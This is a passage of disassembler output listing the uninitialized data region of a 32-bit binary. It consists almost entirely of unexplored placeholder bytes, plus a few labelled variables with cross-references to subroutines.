unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored dword_807AC58 dd ? ; DATA XREF: sub_8054E54+1Cw ; sub_8054EC8+44r ... word_807AC5C dw ? ; DATA XREF: sub_80552B0+36w ; sub_80552B0+9Bo unk_807AC5E db ? ; unexplored ; DATA XREF: sub_80552B0+46o ; sub_80552B0+88o db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored unk_807AC6C db ? ; unexplored ; DATA XREF: sub_80566A4+6o db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored unk_807B06C db ? ; unexplored ; DATA XREF: sub_805B10C+6o ; sub_805B10C+13o db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored unk_807B098 db ? ; unexplored ; DATA XREF: .text:0805B1AEo ; .text:0805B1BBo db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored unk_807B0C4 db ? ; unexplored ; DATA XREF: sub_805B530+6o db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored dword_807B0E0 dd ? ; DATA XREF: sub_805A11C+BFo ; sub_805AF5C+33w ... 